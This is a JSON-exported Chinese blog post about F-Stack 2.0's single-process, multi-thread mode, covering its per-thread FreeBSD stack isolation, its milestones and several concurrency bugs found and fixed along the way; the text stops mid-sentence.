{"id":441,"date":"2026-08-24T11:31:59","date_gmt":"2026-08-24T03:31:59","guid":{"rendered":"https:\/\/lovelyping.com\/?p=441"},"modified":"2026-10-08T17:34:35","modified_gmt":"2026-10-08T09:34:35","slug":"f-stack-2-0-%e5%89%8d%e7%9e%bb-1-f-stack-%e5%8e%9f%e7%94%9f%e5%a4%9a%e7%ba%bf%e7%a8%8b%e6%94%af%e6%8c%81-%e5%8d%95%e8%bf%9b%e7%a8%8b%e5%a4%9a%e7%ba%bf%e7%a8%8b%e5%a4%9a%e5%8d%8f%e8%ae%ae%e6%a0%88","status":"publish","type":"post","link":"https:\/\/lovelyping.com\/?p=441","title":{"rendered":"F-Stack 2.0 \u524d\u77bb 1 : F-Stack \u539f\u751f\u591a\u7ebf\u7a0b\u652f\u6301 &#8211; \u5355\u8fdb\u7a0b\u591a\u7ebf\u7a0b\u591a\u534f\u8bae\u6808\u5b9e\u4f8b"},"content":{"rendered":"\n<h2 class=\"wp-block-heading\">1. \u672c\u529f\u80fd\u4e3b\u8981\u4f5c\u7528\u548c\u7279\u70b9<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">F-Stack \u539f\u751f\u591a\u7ebf\u7a0b\u652f\u6301\uff08native-mt\uff0c<code>thread_mode=1<\/code>\uff09\u662f F-Stack v2.0\uff08\u9884\u8ba12026.10\u6b63\u5f0frelease\uff09 \u5f15\u5165\u7684\u4e00\u79cd\u65b0\u8fd0\u884c\u6a21\u5f0f\uff1a<strong>\u5728\u5355\u8fdb\u7a0b\u5185\u542f\u52a8 N \u4e2a\u7ebf\u7a0b\uff0c\u6bcf\u7ebf\u7a0b\u8fd0\u884c\u4e00\u4efd\u5b8c\u5168\u72ec\u7acb\u7684 FreeBSD \u534f\u8bae\u6808\u5b9e\u4f8b<\/strong>\uff0c\u7ebf\u7a0b\u95f4 share-nothing\u3001\u65e0\u9501\uff0c\u9760\u7f51\u5361 RSS \u5206\u961f\u5217\u505a\u6570\u636e\u9762\u5206\u6d41\uff0c\u9760\u65e0\u9501 ring \u505a\u8de8\u7ebf\u7a0b\u5206\u53d1\u3002<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">1.1 \u6838\u5fc3\u7279\u70b9<\/h3>\n\n\n\n<table class=\"wp-block-table\"><thead><tr><th>\u7279\u70b9<\/th><th>\u8bf4\u660e<\/th><\/tr><\/thead><tbody><tr><td><strong>\u5355\u8fdb\u7a0b\u591a\u7ebf\u7a0b<\/strong><\/td><td>\u4e0d\u518d\u542f\u52a8 primary + N \u4e2a secondary \u8fdb\u7a0b\uff0c\u6539\u4e3a\u4e00\u4e2a\u8fdb\u7a0b\u5185 N \u4e2a lcore \u7ebf\u7a0b<\/td><\/tr><tr><td><strong>\u591a\u534f\u8bae\u6808\u5b9e\u4f8b<\/strong><\/td><td>\u6bcf\u7ebf\u7a0b\u4e00\u4efd\u72ec\u7acb vnet\uff08VNET\/VIMAGE \u9694\u79bb\uff09\uff0c\u542b\u72ec\u7acb ifnet\/PCB\/\u8def\u7531\u8868\/\u7aef\u53e3\u5206\u914d<\/td><\/tr><tr><td><strong>share-nothing \u65e0\u9501<\/strong><\/td><td>\u6570\u636e\u9762\u7ebf\u7a0b\u95f4\u65e0\u5171\u4eab\u53ef\u53d8\u72b6\u6001\uff0c\u65e0\u9501\u7ade\u4e89\uff0c\u7ebf\u6027\u6269\u5c55<\/td><\/tr><tr><td><strong>\u96f6\u56de\u5f52 opt-in<\/strong><\/td><td><code>thread_mode=0<\/code>\uff08\u9ed8\u8ba4\uff09\u65f6\u591a\u8fdb\u7a0b\u6a21\u5f0f\u9010\u5b57\u8282\u4e0d\u53d8<\/td><\/tr><tr><td><strong>API \u5411\u540e\u517c\u5bb9<\/strong><\/td><td><code>ff_init<\/code>\/<code>ff_run<\/code> \u7b7e\u540d\u4e0d\u53d8\uff0c\u5e94\u7528\u65e0\u9700\u6539\u52a8\u5373\u53ef\u5728\u65b0\u6a21\u5f0f\u8fd0\u884c<\/td><\/tr><\/tbody><\/table>\n\n\n\n<h3 class=\"wp-block-heading\">1.2 \u4e0e\u591a\u8fdb\u7a0b\u6a21\u5f0f\u7684\u5bf9\u6bd4<\/h3>\n\n\n\n<table class=\"wp-block-table\"><thead><tr><th>\u7ef4\u5ea6<\/th><th>\u591a\u8fdb\u7a0b\u6a21\u5f0f\uff08\u9ed8\u8ba4\uff09<\/th><th>native-mt \u6a21\u5f0f<\/th><\/tr><\/thead><tbody><tr><td>\u8fdb\u7a0b\u6570<\/td><td>1 primary + N secondary<\/td><td>1 \u4e2a\u8fdb\u7a0b<\/td><\/tr><tr><td>\u7ebf\u7a0b\u6570<\/td><td>\u6bcf\u8fdb\u7a0b 1 \u4e2a\u4e3b\u7ebf\u7a0b<\/td><td>N \u4e2a lcore \u7ebf\u7a0b<\/td><\/tr><tr><td><strong>\u534f\u8bae\u6808\u5b9e\u4f8b<\/strong><\/td><td><strong>\u6bcf\u8fdb\u7a0b\u4e00\u4efd<\/strong><\/td><td><strong>\u6bcf\u7ebf\u7a0b\u4e00\u4efd\uff08VNET \u9694\u79bb\uff09<\/strong><\/td><\/tr><tr><td>\u5171\u4eab\u5185\u5b58<\/td><td>\u8de8\u8fdb\u7a0b\u5171\u4eab hugepage\/mempool<\/td><td>\u540c\u5730\u5740\u7a7a\u95f4\uff0c\u76f4\u63a5\u8bbf\u95ee<\/td><\/tr><tr><td>IPC \u5f00\u9500<\/td><td>\u8de8\u8fdb\u7a0b <code>IPC(\u5982ring)<\/code> \u901a\u4fe1<\/td><td>\u65e0\u8de8\u8fdb\u7a0b IPC\uff0c\u76f4\u63a5\u5185\u5b58\u8bbf\u95ee<\/td><\/tr><tr><td>\u8fdb\u7a0b\u7ba1\u7406<\/td><td>\u9700 start.sh \u7ba1\u7406\u591a\u8fdb\u7a0b<\/td><td>\u5355\u8fdb\u7a0b\u7ba1\u7406\u7b80\u5355<\/td><\/tr><tr><td><strong>\u5bb9\u9519\u9694\u79bb<\/strong><\/td><td><strong>\u8fdb\u7a0b\u5d29\u6e83\u4e92\u4e0d\u5f71\u54cd<\/strong><\/td><td><strong>\u7ebf\u7a0b\u5d29\u6e83\u53ef\u80fd\u5f71\u54cd\u6574\u4e2a\u8fdb\u7a0b<\/strong><\/td><\/tr><\/tbody><\/table>\n\n\n\n<h2 class=\"wp-block-heading\">2. \u672c\u529f\u80fd\u7684\u4e3b\u8981\u9002\u7528\u573a\u666f<\/h2>\n\n\n\n<h3 class=\"wp-block-heading\">2.1 \u5355\u673a\u591a\u6838\u90e8\u7f72\u7684\u7b80\u5316\u7ba1\u7406<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">\u591a\u8fdb\u7a0b\u6a21\u578b\u9700\u8981 <code>start.sh<\/code> \u811a\u672c\u542f\u52a8 1 \u4e2a primary + N \u4e2a secondary \u8fdb\u7a0b\uff0c\u8fdb\u7a0b\u7ba1\u7406\u3001\u4fe1\u53f7\u5904\u7406\u3001\u8d44\u6e90\u6e05\u7406\u90fd\u8f83\u590d\u6742\u3002native-mt \u6a21\u5f0f\u53ea\u9700\u542f\u52a8\u4e00\u4e2a\u8fdb\u7a0b\uff0c\u5927\u5e45\u7b80\u5316\u90e8\u7f72\u8fd0\u7ef4\u3002<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">2.2 \u51cf\u5c11\u591a\u7ebf\u7a0b\u5e94\u7528\u8fc1\u79fb\u6210\u672c<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">\u67d0\u4e9b\u5e94\u7528\u539f\u672c\u662f\u591a\u7ebf\u7a0b\u6a21\u5f0f\uff0c\u8fc1\u79fb\u5230\u539f\u6709\u7684\u591a\u8fdb\u7a0b F-Stack \u9700\u8981\u8f83\u5927\u7684\u8fc1\u79fb\u6210\u672c\uff0cnative-mt \u6a21\u5f0f\u8ba9\u5e94\u7528\u5728\u5355\u8fdb\u7a0b\u5185\u83b7\u5f97\u591a\u6838\u6269\u5c55\u80fd\u529b\uff0c\u800c\u4e0d\u518d\u9700\u8981 fork \u6216\u542f\u52a8\u591a\u4e2a\u72ec\u7acb\u8fdb\u7a0b\u7b49\u8fc1\u79fb\u6539\u9020\u3002<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">2.3 \u51cf\u5c11\u8de8\u8fdb\u7a0b IPC \u5f00\u9500<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">\u591a\u8fdb\u7a0b\u6a21\u5f0f\u4e0b\uff0c\u67d0\u4e9b\u5e94\u7528\u7684\u5171\u4eab\u63a7\u5236\u6570\u636e\u53ef\u80fd\u9700\u8981 IPC \uff08\u5982\u5171\u4eab\u5185\u5b58\u6216ring\u7b49\u65b9\u5f0f\uff09\u624d\u80fd\u5728\u8fdb\u884c\u8de8\u8fdb\u7a0b\u5171\u4eab\uff0cnative-mt \u6a21\u5f0f\u4e0b\u8fd9\u90e8\u5206\u5171\u4eab\u6570\u636e\u53ef\u76f4\u63a5\u5728\u540c\u8fdb\u7a0b\u5185\u8bbf\u95ee\u3002<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">2.4 \u4e1a\u754c\u4e3b\u6d41\u6a21\u578b\u5bf9\u9f50<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">mTCP\u3001Seastar \u7b49\u9ad8\u6027\u80fd\u7528\u6237\u6001\u7f51\u7edc\u6846\u67b6\u666e\u904d\u91c7\u7528 thread-per-core + share-nothing \u7684\u5355\u8fdb\u7a0b\u591a\u7ebf\u7a0b\u6a21\u578b\u3002native-mt \u8ba9 F-Stack \u4e0e\u4e1a\u754c\u4e3b\u6d41\u67b6\u6784\u5bf9\u9f50\u3002<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">3. \u672c\u529f\u80fd\u7684\u67b6\u6784\u7279\u5f81<\/h2>\n\n\n\n<h3 class=\"wp-block-heading\">3.1 \u6574\u4f53\u67b6\u6784<\/h3>\n\n\n\n<figure class=\"wp-block-image\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"724\" src=\"https:\/\/lovelyping.com\/wp-content\/uploads\/2026\/08\/01-native1-1024x724.png\" alt=\"\" class=\"wp-image-442\" srcset=\"https:\/\/lovelyping.com\/wp-content\/uploads\/2026\/08\/01-native1-1024x724.png 1024w, https:\/\/lovelyping.com\/wp-content\/uploads\/2026\/08\/01-native1-300x212.png 300w, https:\/\/lovelyping.com\/wp-content\/uploads\/2026\/08\/01-native1-768x543.png 768w, https:\/\/lovelyping.com\/wp-content\/uploads\/2026\/08\/01-native1.png 1729w\" sizes=\"auto, (max-width: 767px) 89vw, (max-width: 1000px) 54vw, (max-width: 1071px) 543px, 580px\" \/><\/figure>\n\n\n\n<h3 class=\"wp-block-heading\">3.2 per-thread \u9694\u79bb\u7b56\u7565<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">native-mt \u7684\u6838\u5fc3\u6311\u6218\u662f\uff1aFreeBSD \u534f\u8bae\u6808\u6709\u6570\u767e\u4e2a\u5168\u5c40\u53d8\u91cf\uff0c\u5982\u4f55\u5728\u5355\u8fdb\u7a0b\u5185\u8ba9\u6bcf\u7ebf\u7a0b\u62e5\u6709\u72ec\u7acb\u526f\u672c\uff1f\u7b54\u6848\u662f\u5206\u56db\u7c7b\u9694\u79bb\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"414\" src=\"https:\/\/lovelyping.com\/wp-content\/uploads\/2026\/08\/01-native2-1024x414.png\" alt=\"\" class=\"wp-image-443\" srcset=\"https:\/\/lovelyping.com\/wp-content\/uploads\/2026\/08\/01-native2-1024x414.png 1024w, https:\/\/lovelyping.com\/wp-content\/uploads\/2026\/08\/01-native2-300x121.png 300w, https:\/\/lovelyping.com\/wp-content\/uploads\/2026\/08\/01-native2-768x311.png 768w, https:\/\/lovelyping.com\/wp-content\/uploads\/2026\/08\/01-native2.png 1568w\" sizes=\"auto, (max-width: 767px) 89vw, (max-width: 1000px) 54vw, (max-width: 1071px) 543px, 580px\" \/><\/figure>\n\n\n\n<h3 class=\"wp-block-heading\">3.3 \u6570\u636e\u9762\u65e0\u9501\u901a\u4fe1<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">\u8de8\u7ebf\u7a0b\u901a\u4fe1\u4f7f\u7528 DPDK \u7684\u65e0\u9501 ring\uff0c\u4fdd\u6301\u591a\u8fdb\u7a0b\u6a21\u5f0f\u5df2\u6709\u7684\u8bed\u4e49\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"469\" src=\"https:\/\/lovelyping.com\/wp-content\/uploads\/2026\/08\/01-native3-1024x469.png\" alt=\"\" class=\"wp-image-444\" srcset=\"https:\/\/lovelyping.com\/wp-content\/uploads\/2026\/08\/01-native3-1024x469.png 1024w, https:\/\/lovelyping.com\/wp-content\/uploads\/2026\/08\/01-native3-300x137.png 300w, https:\/\/lovelyping.com\/wp-content\/uploads\/2026\/08\/01-native3-768x352.png 768w, https:\/\/lovelyping.com\/wp-content\/uploads\/2026\/08\/01-native3.png 1661w\" sizes=\"auto, (max-width: 767px) 89vw, (max-width: 1000px) 54vw, (max-width: 1071px) 543px, 580px\" \/><\/figure>\n\n\n\n<ul class=\"wp-block-list\"><li><strong>dispatch\/kni_ring<\/strong>\uff1a\u4fdd\u6301 <code>RING_F_SC_DEQ<\/code>\uff08MP+SC\uff09\uff0c\u591a worker \u5199\u3001\u5355 owner \u8bfb<\/li><li><strong>msg_ring<\/strong>\uff1a\u5df2\u6570\u7ec4\u5316 <code>msg_ring[RTE_MAX_LCORE]<\/code>\uff0c\u6bcf\u7ebf\u7a0b\u7528\u81ea\u5df1 lcore \u7d22\u5f15\uff0cSP+SC<\/li><li><strong>mempool<\/strong>\uff1a\u6309 NUMA socket \u5171\u4eab\uff0cDPDK per-lcore cache \u5f00\u7bb1 MT-safe\uff0c\u65e0\u9700\u6539\u9020<\/li><\/ul>\n\n\n\n<h2 class=\"wp-block-heading\">4. \u6539\u9020\u5de5\u4f5c\u4e0e\u9047\u5230\u7684\u95ee\u9898<\/h2>\n\n\n\n<blockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\"><p>\u540e\u7eed\u6bd4\u8f83\u67af\u71e5\uff0c\u4e0d\u9700\u8981\u6df1\u5165\u7814\u7a76\u5b9e\u73b0\u8fc7\u7a0b\u7684\u53ef\u4ee5\u8df3\u8fc7\u672c\u8282\u3002<\/p><\/blockquote>\n\n\n\n<h3 class=\"wp-block-heading\">4.1 \u6539\u9020\u91cc\u7a0b\u7891\u603b\u89c8<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">native-mt \u7684\u6539\u9020\u6309\u5371\u9669\u5ea6\u9012\u589e\u5206 8 \u4e2a\u91cc\u7a0b\u7891\uff08CM0-CM7\uff09\uff1a<\/p>\n\n\n\n<table class=\"wp-block-table\"><thead><tr><th>\u91cc\u7a0b\u7891<\/th><th>\u76ee\u6807<\/th><th>\u5371\u9669\u5ea6<\/th><th>\u5173\u952e commit<\/th><\/tr><\/thead><tbody><tr><td>CM0<\/td><td>\u4f4e\u5782\u679c\u5b9e + \u811a\u624b\u67b6<\/td><td>\u4f4e<\/td><td><code>e79ceb9f0<\/code><\/td><\/tr><tr><td>CM1<\/td><td>\u914d\u7f6e\u5c42 <code>thread_mode<\/code> \u5f00\u5173<\/td><td>\u4f4e<\/td><td><code>3c31cc540<\/code><\/td><\/tr><tr><td>CM2<\/td><td><code>lcore_conf<\/code> per-lcore \u5316 + DPDK \u62c9 N lcore<\/td><td>\u4e2d<\/td><td><code>e79ceb9f0<\/code><\/td><\/tr><tr><td>CM3<\/td><td>\u5e95\u5ea7\u5168\u5c40 per-thread\uff08pcpu\/thread0\/callout\uff09<\/td><td>\u9ad8<\/td><td><code>e79ceb9f0<\/code><\/td><\/tr><tr><td>CM4<\/td><td>VIMAGE \u53ef\u884c\u6027 PoC\uff08\u5173\u952e\u5361\u70b9\uff09<\/td><td>\u9ad8\/\u5b58\u7591<\/td><td><code>86e0f76b0<\/code><\/td><\/tr><tr><td>CM5<\/td><td>\u521d\u59cb\u5316\u91cd\u6784\uff08per-thread \u6808\u5b9e\u4f8b init\uff09<\/td><td>\u6781\u9ad8<\/td><td><code>717843004<\/code> + <code>7495e70c0<\/code><\/td><\/tr><tr><td>CM6<\/td><td>KNI owner \u7ebf\u7a0b + msg_ring per-thread<\/td><td>\u4e2d<\/td><td><code>6d74d59e0<\/code><\/td><\/tr><tr><td>CM7<\/td><td>\u8054\u8c03 + \u56de\u5f52 + \u6027\u80fd\u57fa\u7ebf<\/td><td>\u4e2d<\/td><td><code>fea49af6d<\/code> + <code>be4233709<\/code><\/td><\/tr><\/tbody><\/table>\n\n\n\n<h3 class=\"wp-block-heading\">4.2 CM0-CM3\uff1aper-thread \u5316\u57fa\u7840<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>\u95ee\u98981\uff1a<code>msg_iov_tmp<\/code> \u5168\u5c40\u53d8\u91cf\u6570\u636e\u9519\u4e71<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><code>ff_syscall_wrapper.c<\/code> \u7684 <code>msg_iov_tmp<\/code>\/<code>msg_iovlen_tmp<\/code> \u662f\u5168\u5c40\u6570\u7ec4\uff0c\u591a\u7ebf\u7a0b\u5e76\u53d1\u8c03\u7528 <code>ff_readv<\/code>\/<code>ff_writev<\/code> \u4f1a\u4e92\u76f8\u8986\u76d6\u3002\u8fd9\u662f\u6700\u4f4e\u5782\u7684\u679c\u5b9e\u2014\u2014\u6062\u590d <code>__thread<\/code> \u5373\u53ef\u4fee\u590d\uff0c\u591a\u8fdb\u7a0b\u6a21\u5f0f\u4ea6\u65e0\u5bb3\u3002<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>\u95ee\u98982\uff1a<code>lcore_conf<\/code> \u5168\u5c40\u5355\u4f8b<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><code>ff_dpdk_if.c:123<\/code> \u7684 <code>lcore_conf<\/code> \u662f\u5168\u5c40\u5355\u4f8b\uff0c30+ \u5f15\u7528\u70b9\u3002\u6539\u4e3a <code>lcore_conf[RTE_MAX_LCORE]<\/code> \u6570\u7ec4\uff0c\u6bcf\u7ebf\u7a0b\u7528 <code>rte_lcore_id()<\/code> \u7d22\u5f15\u81ea\u5df1\u7684\u90a3\u4efd\u3002\u540c\u65f6\u5f15\u5165 <code>ff_cur_lcore_conf()<\/code> \u5b8f\u4f5c\u4e3a\u95f4\u63a5\u5c42\uff0c\u964d\u4f4e\u540e\u7eed\u6539\u52a8\u9762\u3002<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>\u95ee\u98983\uff1apcpu\/thread0\/callout \u5e95\u5ea7\u5168\u5c40<\/strong><\/p>\n\n\n\n<ul class=\"wp-block-list\"><li><code>pcpup<\/code>\uff08<code>ff_freebsd_init.c:69<\/code>\uff09\u2192 \u6bcf\u7ebf\u7a0b\u4e00\u4efd <code>__thread struct pcpu<\/code><\/li><li><code>thread0<\/code>\/<code>proc0<\/code>\uff08<code>ff_init_main.c<\/code>\uff09\u2192 \u6bcf\u5b9e\u4f8b\u4e00\u4efd<\/li><li><code>cc_cpu<\/code> callout\uff08<code>ff_kern_timeout.c:180<\/code>\uff09\u2192 <code>__thread struct callout_cpu<\/code>\uff0c<code>CC_SELF()<\/code> \u8fd4\u56de\u672c\u7ebf\u7a0b\u5b9e\u4f8b<\/li><\/ul>\n\n\n\n<h3 class=\"wp-block-heading\">4.3 CM4\uff1aVIMAGE \u53ef\u884c\u6027 PoC\uff08\u5173\u952e\u5361\u70b9\uff09<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">\u8fd9\u662f\u6574\u4e2a\u9879\u76ee\u6700\u5927\u7684\u4e0d\u786e\u5b9a\u9879\u3002VIMAGE \u662f FreeBSD \u539f\u751f\u7684\u865a\u62df\u7f51\u7edc\u6808\u5b50\u7cfb\u7edf\uff0c\u542f\u7528\u540e <code>curvnet = curthread-&gt;td_vnet<\/code> \u6309 per-thread \u9694\u79bb\u6570\u767e\u4e2a\u7f51\u7edc\u6808\u5168\u5c40\u3002\u4f46 f-stack \u5927\u91cf\u9609\u5272\u4e86 FreeBSD \u7528\u6237\u6001\u4ee3\u7801\uff0cVIMAGE \u80fd\u5426\u8dd1\u901a\u9700\u5b9e\u6d4b\u9a8c\u8bc1\u3002<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>PoC \u7ed3\u679c\uff1aVIMAGE \u53ef\u7528\uff08route B \u9a8c\u8bc1\u901a\u8fc7\uff09<\/strong><\/p>\n\n\n\n<ul class=\"wp-block-list\"><li><code>opt_global.h<\/code> \u52a0 <code>#define VIMAGE 1<\/code><\/li><li>\u6bcf\u7ebf\u7a0b <code>vnet_alloc()<\/code> \u521b\u5efa\u72ec\u7acb vnet \u5e76\u8bbe <code>td_vnet<\/code><\/li><li><code>VNET_SYSINIT<\/code> \u6bcf vnet \u5404\u8dd1\u4e00\u4efd\uff0c<code>V_tcbinfo<\/code>\/<code>V_rt_tables<\/code> \u6210\u529f\u9694\u79bb<\/li><\/ul>\n\n\n\n<h3 class=\"wp-block-heading\">4.4 CM5\uff1a\u521d\u59cb\u5316\u91cd\u6784<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>\u95ee\u98984\uff1a<code>mi_startup<\/code>\/SYSINIT \u4e00\u6b21\u6027\u673a\u5236<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><code>ff_init_main.c<\/code> \u7684 <code>mi_startup<\/code> \u8dd1\u5b8c\u4f1a\u6253\u52fe <code>SI_SUB_LAST<\/code>\uff0c\u4e8c\u6b21\u8c03\u7528\u7a7a\u8f6c\u3002\u9700\u62c6\u5206\uff1a\u5168\u5c40\u4e00\u6b21\u6027 init\uff08EAL\/UMA\/mutex\/vnet0\uff09+ per-thread \u6808\u5b9e\u4f8b init\uff08vnet_alloc\/td_vnet\/VNET_SYSINIT\/pcpu_i\/thread0_i\uff09\u3002<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>\u95ee\u98985\uff1aworker cred \u6302\u5168\u5c40 prison0\uff08R1 \u7f3a\u9677\uff09<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u8fd9\u662f native-mt \u6700\u9690\u853d\u7684 bug\u3002\u75c7\u72b6\uff1a2 \u7ebf\u7a0b\u538b\u6d4b 0 req\/s\uff0cclient \u53cd\u590d\u91cd\u4f20 SYN\uff0cf-stack \u4ece\u4e0d\u56de SYN-ACK\u3002<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u6839\u56e0\uff1aworker \u7ebf\u7a0b\u7684 cred \u6302\u5728\u5168\u5c40 <code>prison0<\/code> \u4e0a\uff0c\u800c FreeBSD socket \u7684 vnet \u53d6\u81ea cred \u7684 prison\uff08<code>CRED_TO_VNET(cred)<\/code>\uff09\uff0c\u4e0d\u662f <code>curvnet<\/code>\u3002\u5bfc\u81f4 worker \u6240\u6709 socket\/ifioctl \u88ab\u9759\u9ed8\u91cd\u5b9a\u5411\u5230 vnet0\uff0cworker vnet \u65e0\u63a5\u53e3\u5730\u5740\u3001\u65e0\u9ed8\u8ba4\u8def\u7531\uff08<code>ENETUNREACH<\/code>\uff09\uff0capp listen \u7684 PCB \u5168\u5efa\u5728 vnet0\uff0c\u800c\u6570\u636e\u9762\u5728 worker vnet \u67e5 PCB \u2192 \u6536\u5230 SYN \u4e0d\u56de SYN-ACK\u3002<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u4fee\u590d\uff1a<code>lib\/ff_freebsd_init.c<\/code> \u65b0\u589e <code>ff_worker_prison_init()<\/code>\uff0c\u7ed9\u6bcf\u4e2a worker \u5206\u914d\u72ec\u7acb prison\uff0c\u4f7f\u5176 <code>CRED_TO_VNET<\/code> \u6307\u5411\u81ea\u5df1\u7684 vnet\u3002<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>\u95ee\u98986\uff1aworker pcpu cpuid \u8d8a\u754c\uff08R2 \u7f3a\u9677\uff09<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u4fee\u590d R1 \u540e\uff0cworker vnet \u7684 PCB \u8868\u88ab\u771f\u6b63\u4f7f\u7528\uff0c\u538b\u6d4b\u65f6 <code>in_pcblookup_mbuf<\/code> SIGSEGV\u3002<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u6839\u56e0\uff1aworker \u7684 <code>pcpu_init()<\/code> \u4f20 <code>rte_lcore_id()<\/code>\uff08=2\uff09\u4f5c cpuid\uff0c\u4f46\u672c build \u975e SMP\uff08<code>MAXCPU==1<\/code>\uff09\u3001<code>mp_maxid==0<\/code>\uff0cUMA\/SMR per-cpu \u6570\u7ec4\u53ea\u6309 1 CPU \u5206\u914d \u2192 <code>zpcpu_get()<\/code> \u8d8a\u754c\u3002<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u4fee\u590d\uff1a<code>ff_pcpu_thread_init()<\/code> \u6539\u4f20 0\uff08\u5f53\u65f6\u65b9\u6848\uff09\u3002\u540e\u7eed\u5728\u6587\u6863 17 \u7684 SMP-aware \u6539\u9020\u4e2d\u5f7b\u5e95\u4fee\u590d\u2014\u2014\u6bcf\u7ebf\u7a0b\u62e5\u6709\u7a20\u5bc6\u3001\u72ec\u7acb\u7684 pcpu \u69fd\u4f4d\u3002<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">4.5 CM6-CM7\uff1aKNI\/\u5de5\u5177\u94fe\u5f52\u5c5e\u4e0e\u8054\u8c03<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>\u95ee\u98987\uff1aKNI \u5f52\u5c5e<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u591a\u8fdb\u7a0b\u6a21\u5f0f\u4e0b KNI \u7531 primary \u8fdb\u7a0b\u72ec\u5360\uff08virtio_user vdev \u53ea\u80fd\u7531 primary \u521b\u5efa\uff09\u3002native-mt \u65e0 primary\/secondary \u6982\u5ff5\uff0cKNI \u6539\u7531\u5355\u4e00\u6307\u5b9a\u7ebf\u7a0b\uff08\u7ebf\u7a0b 0\uff09\u72ec\u5360\u6301\u6709\u3002\u73b0\u6709 <code>kni_rp<\/code>\/bitmap \u5df2\u6309 <code>rte_lcore_id()<\/code> \u547d\u540d\uff0c\u5929\u7136\u53ef per-lcore\uff0c\u6539\u52a8\u96c6\u4e2d\u5728\u95e8\u63a7\u5224\u5b9a\u3002<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>\u95ee\u98988\uff1aworker \u65f6\u949f\u7f3a\u53e3<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u75c7\u72b6\uff1a2 \u7ebf\u7a0b\u541e\u5410\u4ece\u4fee\u590d\u524d\u7684 0 \u63d0\u5347\u5230 557 req\/s\uff0c\u4f46\u4ecd\u8fdc\u4f4e\u4e8e 1 \u7ebf\u7a0b\u7684 ~209k req\/s\u3002<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u6839\u56e0\uff1aworker \u7ebf\u7a0b\u7684 FreeBSD \u65f6\u949f\u4ece\u672a\u88ab\u9a71\u52a8\u3002<code>init_clock()<\/code> \u4ec5\u5728\u4e3b\u7ebf\u7a0b\u8c03\u7528\u4e00\u6b21\uff0cworker \u7684 <code>freebsd_clock<\/code>\uff08<code>__thread<\/code>\uff09\u662f\u96f6\u521d\u59cb\u5316\uff08<code>expire == 0<\/code>\uff09\uff0c<code>ff_hardclock_job<\/code> \u6c38\u4e0d\u89e6\u53d1 \u2192 worker \u7684 callwheel \u6c38\u4e0d\u63a8\u8fdb \u2192 vnet_i \u4e0a syncache \u8d85\u65f6\u3001TCP \u91cd\u4f20\u3001delayed ACK \u5168\u90e8\u762b\u75ea\u3002<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u4fee\u590d\uff1a\u65b0\u589e <code>ff_hardclock_worker()<\/code>\uff08\u53ea\u63a8\u8fdb\u672c\u7ebf\u7a0b callwheel\uff0c\u4e0d\u89e6\u78b0\u5168\u5c40 <code>ticks<\/code>\/timecounter\uff09+ <code>init_clock_worker()<\/code>\uff08worker \u5728 <code>main_loop<\/code> \u4e2d\u6ce8\u518c\u81ea\u5df1\u7684\u5b9a\u65f6\u5668\uff09\u3002<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">4.6 \u540e\u7eed\u4f18\u5316\uff1aSMP-aware pcpu \u89c6\u56fe\u4e0e\u53bb\u5168\u5c40\u9501<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>\u95ee\u98989\uff1aSMR per-cpu \u69fd\u4f4d\u5171\u4eab\u7684 UAF \u7a97\u53e3<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">R2 \u4fee\u590d\u540e\u6240\u6709 worker \u7684 <code>pc_zpcpu_offset<\/code> \u5747\u4e3a 0\uff0c\u5171\u4eab\u540c\u4e00\u4efd SMR per-cpu \u69fd\u4f4d\u3002\u7406\u8bba\u7a97\u53e3\uff1aA \u7ebf\u7a0b <code>smr_exit<\/code> \u7f6e <code>SMR_SEQ_INVALID<\/code> \u53ef\u80fd\u6e05\u6389 B \u7ebf\u7a0b\u7684 read section \u6807\u8bb0 \u2192 <code>smr_poll<\/code> \u8bef\u5224\u65e0\u8bfb\u8005 \u2192 PCB \u63d0\u524d\u56de\u6536\uff08UAF\uff09\u3002<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u4fee\u590d\uff08commit 